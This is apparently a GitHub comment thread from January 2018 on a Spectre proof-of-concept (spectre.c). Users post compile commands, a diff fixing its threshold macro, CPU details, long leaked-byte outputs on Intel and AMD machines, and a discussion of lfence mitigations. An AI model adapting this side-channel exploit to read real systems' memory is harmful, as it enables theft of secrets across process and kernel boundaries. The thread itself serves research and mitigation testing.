Reading at malicious_x = 0000103A... Success: 0x75=ÔÇÖuÔÇÖ score=2
Reading at malicious_x = 0000103B... Success: 0x65=ÔÇÖeÔÇÖ score=7 (second best: 0x04 score=1)
Reading at malicious_x = 0000103C... Success: 0x61=ÔÇÖaÔÇÖ score=7 (second best: 0x04 score=1)
Reading at malicious_x = 0000103D... Success: 0x6D=ÔÇÖmÔÇÖ score=7 (second best: 0x04 score=1)
Reading at malicious_x = 0000103E... Success: 0x69=ÔÇÖiÔÇÖ score=17 (second best: 0x6A score=6)
Reading at malicious_x = 0000103F... Success: 0x73=ÔÇÖsÔÇÖ score=2
Reading at malicious_x = 00001040... Success: 0x68=ÔÇÖhÔÇÖ score=2
Reading at malicious_x = 00001041... Success: 0x20=ÔÇÖ ÔÇÖ score=2
Reading at malicious_x = 00001042... Success: 0x4F=ÔÇÖOÔÇÖ score=2
Reading at malicious_x = 00001043... Success: 0x73=ÔÇÖsÔÇÖ score=2
Reading at malicious_x = 00001044... Success: 0x73=ÔÇÖsÔÇÖ score=2
Reading at malicious_x = 00001045... Unclear: 0x69=ÔÇÖiÔÇÖ score=997 (second best: 0x6A score=666)
Reading at malicious_x = 00001046... Success: 0x66=ÔÇÖfÔÇÖ score=7 (second best: 0x04 score=1)
Reading at malicious_x = 00001047... Success: 0x72=ÔÇÖrÔÇÖ score=2
Reading at malicious_x = 00001048... Success: 0x61=ÔÇÖaÔÇÖ score=2
Reading at malicious_x = 00001049... Success: 0x67=ÔÇÖgÔÇÖ score=7 (second best: 0x04 score=1)
Reading at malicious_x = 0000104A... Success: 0x65=ÔÇÖeÔÇÖ score=2
Reading at malicious_x = 0000104B... Success: 0x2E=ÔÇÖ.ÔÇÖ score=2

@ssstonebraker There are two vulnerabilities- "Meltdown" and "Spectre". The patched kernel fixes Meltdown, but there is no fix (yet) for Spectre.

Compilation:

gcc -std=c99 -O0 spectre.c -o spectre
Architecture:          x86_64
CPU op-mode(s):        32-bit, 64-bit
Byte Order:            Little Endian
CPU(s):                32
On-line CPU(s) list:   0-31
Thread(s) per core:    2
Core(s) per socket:    8
Socket(s):             2
NUMA node(s):          2
Vendor ID:             GenuineIntel
CPU family:            6
Model:                 63
Model name:            Intel(R) Xeon(R) CPU E5-2640 v3 @ 2.60GHz
Stepping:              2
CPU MHz:               1200.062
CPU max MHz:           3400.0000
CPU min MHz:           1200.0000
BogoMIPS:              5187.62
Virtualization:        VT-x
L1d cache:             32K
L1i cache:             32K
L2 cache:              256K
L3 cache:              20480K
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdffb10... Success: 0x54=’T’ score=2 
Reading at malicious_x = 0xffffffffffdffb11... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdffb12... Success: 0x65=’e’ score=71 (second best: 0x05 score=33)
Reading at malicious_x = 0xffffffffffdffb13... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffb14... Success: 0x4D=’M’ score=2 
Reading at malicious_x = 0xffffffffffdffb15... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdffb16... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdffb17... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdffb18... Success: 0x63=’c’ score=2 

ziacik commented Jan 4, 2018

With @LionsAd's patches success on macOS 10.13.2, Intel Core i3-540

te11ur commented Jan 4, 2018

windows 7, intel-core(i5)-3317U
gcc -std=c99 -O0 spectre.c -o spectre -march=native

Reading 40 bytes:
Reading at malicious_x = 00001024... Success: 0x54=ÔÇÖTÔÇÖ score=2
Reading at malicious_x = 00001025... Success: 0x68=ÔÇÖhÔÇÖ score=2
Reading at malicious_x = 00001026... Success: 0x65=ÔÇÖeÔÇÖ score=2
Reading at malicious_x = 00001027... Success: 0x20=ÔÇÖ ÔÇÖ score=2
Reading at malicious_x = 00001028... Success: 0x4D=ÔÇÖMÔÇÖ score=2
Reading at malicious_x = 00001029... Success: 0x61=ÔÇÖaÔÇÖ score=2
Reading at malicious_x = 0000102a... Success: 0x67=ÔÇÖgÔÇÖ score=2
Reading at malicious_x = 0000102b... Success: 0x69=ÔÇÖiÔÇÖ score=2
Reading at malicious_x = 0000102c... Success: 0x63=ÔÇÖcÔÇÖ score=2
Reading at malicious_x = 0000102d... Success: 0x20=ÔÇÖ ÔÇÖ score=2
Reading at malicious_x = 0000102e... Success: 0x57=ÔÇÖWÔÇÖ score=2
Reading at malicious_x = 0000102f... Success: 0x6F=ÔÇÖoÔÇÖ score=2
Reading at malicious_x = 00001030... Success: 0x72=ÔÇÖrÔÇÖ score=2
Reading at malicious_x = 00001031... Success: 0x64=ÔÇÖdÔÇÖ score=2
Reading at malicious_x = 00001032... Success: 0x73=ÔÇÖsÔÇÖ score=2
Reading at malicious_x = 00001033... Success: 0x20=ÔÇÖ ÔÇÖ score=2
Reading at malicious_x = 00001034... Success: 0x61=ÔÇÖaÔÇÖ score=2
Reading at malicious_x = 00001035... Success: 0x72=ÔÇÖrÔÇÖ score=2
Reading at malicious_x = 00001036... Success: 0x65=ÔÇÖeÔÇÖ score=2
Reading at malicious_x = 00001037... Success: 0x20=ÔÇÖ ÔÇÖ score=2
Reading at malicious_x = 00001038... Success: 0x53=ÔÇÖSÔÇÖ score=2
Reading at malicious_x = 00001039... Success: 0x71=ÔÇÖqÔÇÖ score=2
Reading at malicious_x = 0000103a... Success: 0x75=ÔÇÖuÔÇÖ score=2
Reading at malicious_x = 0000103b... Success: 0x65=ÔÇÖeÔÇÖ score=2
Reading at malicious_x = 0000103c... Success: 0x61=ÔÇÖaÔÇÖ score=2
Reading at malicious_x = 0000103d... Success: 0x6D=ÔÇÖmÔÇÖ score=2
Reading at malicious_x = 0000103e... Success: 0x69=ÔÇÖiÔÇÖ score=2
Reading at malicious_x = 0000103f... Success: 0x73=ÔÇÖsÔÇÖ score=2
Reading at malicious_x = 00001040... Success: 0x68=ÔÇÖhÔÇÖ score=2
Reading at malicious_x = 00001041... Success: 0x20=ÔÇÖ ÔÇÖ score=2
Reading at malicious_x = 00001042... Success: 0x4F=ÔÇÖOÔÇÖ score=2
Reading at malicious_x = 00001043... Success: 0x73=ÔÇÖsÔÇÖ score=2
Reading at malicious_x = 00001044... Success: 0x73=ÔÇÖsÔÇÖ score=2
Reading at malicious_x = 00001045... Success: 0x69=ÔÇÖiÔÇÖ score=2
Reading at malicious_x = 00001046... Success: 0x66=ÔÇÖfÔÇÖ score=2
Reading at malicious_x = 00001047... Success: 0x72=ÔÇÖrÔÇÖ score=2
Reading at malicious_x = 00001048... Success: 0x61=ÔÇÖaÔÇÖ score=2
Reading at malicious_x = 00001049... Success: 0x67=ÔÇÖgÔÇÖ score=2
Reading at malicious_x = 0000104a... Success: 0x65=ÔÇÖeÔÇÖ score=2
Reading at malicious_x = 0000104b... Success: 0x2E=ÔÇÖ.ÔÇÖ score=2

oschonrock commented Jan 4, 2018

**Edit: On FreeBSD 11.1 with clang 4 compiles fine with the __rdtscp, same AMD Opteron 4386..and secret revealed at threshhold 200 **

clang --version
FreeBSD clang version 4.0.0 (tags/RELEASE_400/final 297347) (based on LLVM 4.0.0)
Target: x86_64-unknown-freebsd11.1

clang -O0 spectre.c -ospectre && ./spectre
diff -u spectre.c.orig spectre.c
--- spectre.c.orig      2018-01-04 23:36:24.169168000 +0000
+++ spectre.c   2018-01-04 23:31:08.121980000 +0000
@@ -47,12 +47,13 @@
 /********************************************************************
 Analysis code
 ********************************************************************/
-#define CACHE_HIT_THRESHOLD(80) /* assume cache hit if time <= threshold */
+#define CACHE_HIT_THRESHOLD (200) /* assume cache hit if time <= threshold */
 
 /* Report best guess in value[0] and runner-up in value[1] */
 void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
   static int results[256];
-  int tries, i, j, k, mix_i, junk = 0;
+  int tries, i, j, k, mix_i;
+  unsigned int junk = 0;
   size_t training_x, x;
   register uint64_t time1, time2;
   volatile uint8_t * addr;
@@ -133,10 +134,10 @@
     readMemoryByte(malicious_x++, value, score);
     printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
     printf("0x%02X=’%c’ score=%d ", value[0],
-      (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
+      (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
     if (score[1] > 0)
       printf("(second best: 0x%02X score=%d)", value[1], score[1]);
     printf("\n");
   }
   return (0);
-}
\ No newline at end of file
+}

AMD broken as well!

CPU: AMD Opteron(tm) Processor 4386                  (3100.07-MHz K8-class CPU)
  Origin="AuthenticAMD"  Id=0x600f20  Family=0x15  Model=0x2  Stepping=0

on FreeBSD 10.3

gcc spectre.c -o spectre && ./spectre    # couldn't get it to compile with clang: warning: implicit declaration of function '__rdtscp' is invalid in C99

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdffb60... Success: 0x54=’T’ score=2 
Reading at malicious_x = 0xffffffffffdffb61... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdffb62... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdffb63... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffb64... Success: 0x4D=’M’ score=2 
Reading at malicious_x = 0xffffffffffdffb65... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdffb66... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdffb67... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdffb68... Success: 0x63=’c’ score=2 
...

@progman32 replacing rtdscp by rtdsc breaks PoC for me completely: it can't guess a single letter. I think the reason is that rtdsc can be reordered with other instructions and its measurements are meaningless. Adding _mm_mfence(); before the line with rtdsc prevents reordering and PoC works again.

nextco commented Jan 5, 2018

Linux Arch 4.14.9-1-ARCH #1 SMP PREEMPT Tue Dec 26 00:18:37 UTC 2017 x86_64 GNU/Linux

$ lscpu

Architecture:        x86_64
CPU op-mode(s):      32-bit, 64-bit
Byte Order:          Little Endian
CPU(s):              2
On-line CPU(s) list: 0,1
Thread(s) per core:  1
Core(s) per socket:  2
Socket(s):           1
NUMA node(s):        1
Vendor ID:           GenuineIntel
CPU family:          6
Model:               42
Model name:          Intel(R) Core(TM) i7-2700K CPU @ 3.50GHz
Stepping:            7
CPU MHz:             3492.070
BogoMIPS:            6986.14
Hypervisor vendor:   KVM
Virtualization type: full
L1d cache:           32K
L1i cache:           32K
L2 cache:            256K
L3 cache:            8192K
NUMA node0 CPU(s):   0,1
Flags:               fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx rdtscp lm constant_tsc rep_good nopl xtopology nonstop_tsc cpuid pni pclmulqdq ssse3 cx16 sse4_1 sse4_2 x2apic popcnt aes xsave avx hypervisor lahf_lm

$ ./spectre

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfedc8... Success: 0x54=’T’ score=2 
Reading at malicious_x = 0xffffffffffdfedc9... Success: 0x68=’h’ score=19 (second best: 0x05 score=7)
Reading at malicious_x = 0xffffffffffdfedca... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfedcb... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfedcc... Success: 0x4D=’M’ score=2 
Reading at malicious_x = 0xffffffffffdfedcd... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfedce... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfedcf... Success: 0x69=’i’ score=17 (second best: 0x05 score=6)
Reading at malicious_x = 0xffffffffffdfedd0... Success: 0x63=’c’ score=2 
Reading at malicious_x = 0xffffffffffdfedd1... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfedd2... Success: 0x57=’W’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfedd3... Success: 0x6F=’o’ score=2 
Reading at malicious_x = 0xffffffffffdfedd4... Success: 0x72=’r’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfedd5... Success: 0x64=’d’ score=2 
Reading at malicious_x = 0xffffffffffdfedd6... Success: 0x73=’s’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfedd7... Success: 0x20=’ ’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfedd8... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfedd9... Success: 0x72=’r’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfedda... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfeddb... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfeddc... Success: 0x53=’S’ score=2 
Reading at malicious_x = 0xffffffffffdfeddd... Success: 0x71=’q’ score=2 
Reading at malicious_x = 0xffffffffffdfedde... Success: 0x75=’u’ score=2 
Reading at malicious_x = 0xffffffffffdfeddf... Success: 0x65=’e’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfede0... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfede1... Success: 0x6D=’m’ score=2 
Reading at malicious_x = 0xffffffffffdfede2... Success: 0x69=’i’ score=31 (second best: 0x00 score=12)
Reading at malicious_x = 0xffffffffffdfede3... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfede4... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfede5... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfede6... Success: 0x4F=’O’ score=2 
Reading at malicious_x = 0xffffffffffdfede7... Success: 0x73=’s’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfede8... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfede9... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfedea... Success: 0x66=’f’ score=2 
Reading at malicious_x = 0xffffffffffdfedeb... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfedec... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfeded... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfedee... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfedef... Success: 0x2E=’.’ score=2 

Vtrois commented Jan 5, 2018

@StallmanSlave There are some issues that need to be fixed

- #define CACHE_HIT_THRESHOLD(80) /* assume cache hit if time <= threshold */
+ #define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */

-(value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
+(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);

rich0 commented Jan 5, 2018

I added the "_mm_lfence();" mitigation on my Ryzen 5, and the exploit still worked. Is this an Intel-specific mitigation, or perhaps it doesn't work on Ryzen in particular? The same was true using asm ("lfence");

Edit: I found that this also doesn't work on a Phenom II. So, that lfence fix might be Intel-specifc. I'm not sure what others are seeing.

My source is at: https://gist.github.com/rich0/056eebebc1f88a624e36680e0de36011

ssstonebraker commented Jan 5, 2018

@imarki360 is there c code like this one to prove that meltdown is fixed on a patched system? Why does Microsoft and Redhat say that their fixes address spectre if they really don't? Sorry I'm a bit confused here would you mind explaining it?

crozone commented Jan 5, 2018

I have a repository set up with the fixed code, makefile, and a results issue:

https://github.com/crozone/SpectrePoC

We might want to start documenting the results under the results issue.

@ErikAugust I've given you attribution, but let me know if this isn't OK.

id638765 commented Jan 5, 2018

$ uname -a
Linux debian 4.14.0-2-amd64 #1 SMP Debian 4.14.7-1 (2017-12-22) x86_64 GNU/Linux

$ lscpu

Architecture:        x86_64
CPU op-mode(s):      32-bit, 64-bit
Byte Order:          Little Endian
CPU(s):              4
On-line CPU(s) list: 0-3
Thread(s) per core:  2
Core(s) per socket:  2
Socket(s):           1
NUMA node(s):        1
Vendor ID:           GenuineIntel
CPU family:          6
Model:               60
Model name:          Intel(R) Core(TM) i5-4210M CPU @ 2.60GHz
Stepping:            3
CPU MHz:             2594.180
CPU max MHz:         3200,0000
CPU min MHz:         800,0000
BogoMIPS:            5188.36
Virtualization:      VT-x
L1d cache:           32K
L1i cache:           32K
L2 cache:            256K
L3 cache:            3072K
NUMA node0 CPU(s):   0-3
Flags:               fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand lahf_lm abm cpuid_fault epb tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid xsaveopt dtherm ida arat pln pts

$ ./spectre.out

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfecf8... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdfecf9... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfecfa... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfecfb... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfecfc... Success: 0x4D=’M’ score=2 
Reading at malicious_x = 0xffffffffffdfecfd... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfecfe... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfecff... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfed00... Success: 0x63=’c’ score=2 
Reading at malicious_x = 0xffffffffffdfed01... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfed02... Success: 0x57=’W’ score=2 
Reading at malicious_x = 0xffffffffffdfed03... Success: 0x6F=’o’ score=2 
Reading at malicious_x = 0xffffffffffdfed04... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfed05... Success: 0x64=’d’ score=2 
Reading at malicious_x = 0xffffffffffdfed06... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfed07... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfed08... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfed09... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfed0a... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfed0b... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfed0c... Success: 0x53=’S’ score=2 
Reading at malicious_x = 0xffffffffffdfed0d... Success: 0x71=’q’ score=2 
Reading at malicious_x = 0xffffffffffdfed0e... Success: 0x75=’u’ score=2 
Reading at malicious_x = 0xffffffffffdfed0f... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfed10... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfed11... Success: 0x6D=’m’ score=2 
Reading at malicious_x = 0xffffffffffdfed12... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfed13... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfed14... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfed15... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfed16... Success: 0x4F=’O’ score=2 
Reading at malicious_x = 0xffffffffffdfed17... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfed18... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfed19... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfed1a... Success: 0x66=’f’ score=2 
Reading at malicious_x = 0xffffffffffdfed1b... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfed1c... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfed1d... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfed1e... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfed1f... Success: 0x2E=’.’ score=2

uhhi commented Jan 5, 2018

Can this code really show that reading other processes memory is possible? Shouldn't it have some additional code that creates a process or some way to run a second process without the secret?

crozone commented Jan 5, 2018

@uhhi You can run it with an arbitrary address and length as the first and second command line argument.

uname -a
Darwin APV1G3QPC1A85A 17.2.0 Darwin Kernel Version 17.2.0: Fri Sep 29 18:27:05 PDT 2017; root:xnu-4570.20.62~3/RELEASE_X86_64 x86_64

./spectre.out
Reading 40 bytes:
Reading at malicious_x = 0xfffffffffffffebe... Unclear: 0x54=’T’ score=992 (second best: 0x02 score=810)
Reading at malicious_x = 0xfffffffffffffebf... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xfffffffffffffec0... Unclear: 0x65=’e’ score=941 (second best: 0x02 score=735)
Reading at malicious_x = 0xfffffffffffffec1... Unclear: 0x20=’ ’ score=977 (second best: 0x02 score=796)
Reading at malicious_x = 0xfffffffffffffec2... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xfffffffffffffec3... Unclear: 0x61=’a’ score=997 (second best: 0x02 score=778)
Reading at malicious_x = 0xfffffffffffffec4... Success: 0x67=’g’ score=81 (second best: 0x02 score=38)
Reading at malicious_x = 0xfffffffffffffec5... Unclear: 0x69=’i’ score=998 (second best: 0x02 score=854)
Reading at malicious_x = 0xfffffffffffffec6... Unclear: 0x63=’c’ score=976 (second best: 0x02 score=626)
Reading at malicious_x = 0xfffffffffffffec7... Unclear: 0x20=’ ’ score=969 (second best: 0x02 score=862)
Reading at malicious_x = 0xfffffffffffffec8... Unclear: 0x57=’W’ score=973 (second best: 0x02 score=752)
Reading at malicious_x = 0xfffffffffffffec9... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xfffffffffffffeca... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xfffffffffffffecb... Success: 0x01=’?’ score=2
Reading at malicious_x = 0xfffffffffffffecc... Unclear: 0x73=’s’ score=996 (second best: 0x02 score=829)
Reading at malicious_x = 0xfffffffffffffecd... Unclear: 0x20=’ ’ score=964 (second best: 0x02 score=829)
Reading at malicious_x = 0xfffffffffffffece... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xfffffffffffffecf... Unclear: 0x72=’r’ score=995 (second best: 0x02 score=827)
Reading at malicious_x = 0xfffffffffffffed0... Unclear: 0x65=’e’ score=892 (second best: 0x02 score=845)
Reading at malicious_x = 0xfffffffffffffed1... Unclear: 0x20=’ ’ score=976 (second best: 0x02 score=855)
Reading at malicious_x = 0xfffffffffffffed2... Unclear: 0x53=’S’ score=987 (second best: 0x02 score=876)
Reading at malicious_x = 0xfffffffffffffed3... Success: 0x71=’q’ score=43 (second best: 0x02 score=19)
Reading at malicious_x = 0xfffffffffffffed4... Unclear: 0x75=’u’ score=977 (second best: 0x02 score=767)
Reading at malicious_x = 0xfffffffffffffed5... Success: 0x02=’?’ score=7 (second best: 0x65 score=1)
Reading at malicious_x = 0xfffffffffffffed6... Unclear: 0x61=’a’ score=992 (second best: 0x02 score=886)
Reading at malicious_x = 0xfffffffffffffed7... Success: 0x6D=’m’ score=49 (second best: 0x02 score=22)
Reading at malicious_x = 0xfffffffffffffed8... Unclear: 0x69=’i’ score=991 (second best: 0x02 score=680)
Reading at malicious_x = 0xfffffffffffffed9... Unclear: 0x73=’s’ score=997 (second best: 0x02 score=716)
Reading at malicious_x = 0xfffffffffffffeda... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xfffffffffffffedb... Unclear: 0x20=’ ’ score=900 (second best: 0x02 score=585)
Reading at malicious_x = 0xfffffffffffffedc... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xfffffffffffffedd... Unclear: 0x73=’s’ score=991 (second best: 0x02 score=746)
Reading at malicious_x = 0xfffffffffffffede... Unclear: 0x73=’s’ score=991 (second best: 0x02 score=778)
Reading at malicious_x = 0xfffffffffffffedf... Unclear: 0x69=’i’ score=983 (second best: 0x02 score=713)
Reading at malicious_x = 0xfffffffffffffee0... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xfffffffffffffee1... Unclear: 0x72=’r’ score=995 (second best: 0x02 score=578)
Reading at malicious_x = 0xfffffffffffffee2... Success: 0x61=’a’ score=45 (second best: 0x02 score=20)
Reading at malicious_x = 0xfffffffffffffee3... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xfffffffffffffee4... Success: 0x65=’e’ score=51 (second best: 0x02 score=23)
Reading at malicious_x = 0xfffffffffffffee5... Unclear: 0x2E=’.’ score=922 (second best: 0x02 score=708)

issue is output like

gcc -std=c99 -O0 spectre.c -o spectre -march=native
spectre.c:50:29: error: "80" may not appear in macro parameter list
#define CACHE_HIT_THRESHOLD(80) /* assume cache hit if time <= threshold */
^~
spectre.c: In function ‘readMemoryByte’:
spectre.c:92:20: error: ‘CACHE_HIT_THRESHOLD’ undeclared (first use in this function)
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
^~~~~~~~~~~~~~~~~~~
spectre.c:92:20: note: each undeclared identifier is reported only once for each function it appears in
spectre.c: In function ‘main’:
spectre.c:136:51: warning: pointer/integer type mismatch in conditional expression
(value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
^
spectre.c:135:24: warning: format ‘%c’ expects argument of type ‘int’, but argument 3 has type ‘char *’ [-Wformat=]
printf("0x%02X=’%c’ score=%d ", value[0],

aburlak commented Jan 5, 2018

I added the "_mm_lfence();" mitigation on my Ryzen 5, and the exploit still worked. Is this an Intel-specific mitigation, or perhaps it doesn't work on Ryzen in particular? The same was true using asm ("lfence");

Edit: I found that this also doesn't work on a Phenom II. So, that lfence fix might be Intel-specifc. I'm not sure what others are seeing.

Interesting.

Apparently, on AMD, whether or not LFENCE is effective as no-spec barrier depends on hardware MSR (MSR_F10H_DECFG) - so, you need a patched kernel to use LFENCE as a no-speculation barrier.
It appears that these changes are not implemented yet in the vanilla Linux kernel - but SUSE, for example, has implemented such approach
openSUSE/kernel@6a334d9

It certainly looks like these changes were made by SUSE so that the usermode applications could use LFENCE as an inexpensive way to stop data dependencies from propagating beyond the bounds check.

LFENCE is also currently being discussed on LKML as a way to implement similar checks
https://patchwork.kernel.org/patch/10143815/

Edit: the MSR_F10H_DECFG / MSR_F10H_DECFG_LFENCE_SERIALIZE_BIT patch has just been submitted to LKML:
https://patchwork.kernel.org/patch/10146709/

eyablokov commented Jan 5, 2018

MacBook Pro 15" with Touch Bar 2016
Processor Name: Intel Core i7
Processor Speed: 2,7 GHz
Number of Processors: 1
Total Number of Cores: 4
L2 Cache (per Core): 256 KB
L3 Cache: 8 MB
Latest macOS 10.13.2 High Sierra

~ → ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xfffffffffffffebe... Unclear: 0x54=’T’ score=994 (second best: 0x00 score=982)
Reading at malicious_x = 0xfffffffffffffebf... Unclear: 0x68=’h’ score=989 (second best: 0x00 score=926)
Reading at malicious_x = 0xfffffffffffffec0... Unclear: 0x65=’e’ score=997 (second best: 0x00 score=909)
Reading at malicious_x = 0xfffffffffffffec1... Unclear: 0x20=’ ’ score=992 (second best: 0x01 score=837)
Reading at malicious_x = 0xfffffffffffffec2... Unclear: 0x4D=’M’ score=993 (second best: 0x00 score=983)
Reading at malicious_x = 0xfffffffffffffec3... Unclear: 0x61=’a’ score=992 (second best: 0x00 score=910)
Reading at malicious_x = 0xfffffffffffffec4... Unclear: 0x67=’g’ score=998 (second best: 0x00 score=942)
Reading at malicious_x = 0xfffffffffffffec5... Unclear: 0x69=’i’ score=997 (second best: 0x00 score=963)
Reading at malicious_x = 0xfffffffffffffec6... Unclear: 0x63=’c’ score=995 (second best: 0x00 score=937)
Reading at malicious_x = 0xfffffffffffffec7... Unclear: 0x20=’ ’ score=998 (second best: 0x00 score=987)
Reading at malicious_x = 0xfffffffffffffec8... Unclear: 0x57=’W’ score=998 (second best: 0x00 score=966)
Reading at malicious_x = 0xfffffffffffffec9... Unclear: 0x6F=’o’ score=996 (second best: 0x00 score=989)
Reading at malicious_x = 0xfffffffffffffeca... Success: 0x72=’r’ score=15 (second best: 0x00 score=5)
Reading at malicious_x = 0xfffffffffffffecb... Unclear: 0x64=’d’ score=993 (second best: 0x00 score=912)
Reading at malicious_x = 0xfffffffffffffecc... Unclear: 0x73=’s’ score=994 (second best: 0x00 score=971)
Reading at malicious_x = 0xfffffffffffffecd... Unclear: 0x20=’ ’ score=989 (second best: 0x00 score=937)
Reading at malicious_x = 0xfffffffffffffece... Unclear: 0x61=’a’ score=991 (second best: 0x00 score=952)
Reading at malicious_x = 0xfffffffffffffecf... Unclear: 0x72=’r’ score=996 (second best: 0x00 score=967)
Reading at malicious_x = 0xfffffffffffffed0... Unclear: 0x65=’e’ score=994 (second best: 0x00 score=966)
Reading at malicious_x = 0xfffffffffffffed1... Unclear: 0x20=’ ’ score=997 (second best: 0x00 score=993)
Reading at malicious_x = 0xfffffffffffffed2... Unclear: 0x53=’S’ score=991 (second best: 0x00 score=961)
Reading at malicious_x = 0xfffffffffffffed3... Unclear: 0x71=’q’ score=996 (second best: 0x00 score=987)
Reading at malicious_x = 0xfffffffffffffed4... Unclear: 0x75=’u’ score=999 (second best: 0x00 score=979)
Reading at malicious_x = 0xfffffffffffffed5... Unclear: 0x65=’e’ score=997 (second best: 0x00 score=996)
Reading at malicious_x = 0xfffffffffffffed6... Unclear: 0x61=’a’ score=996 (second best: 0x00 score=929)
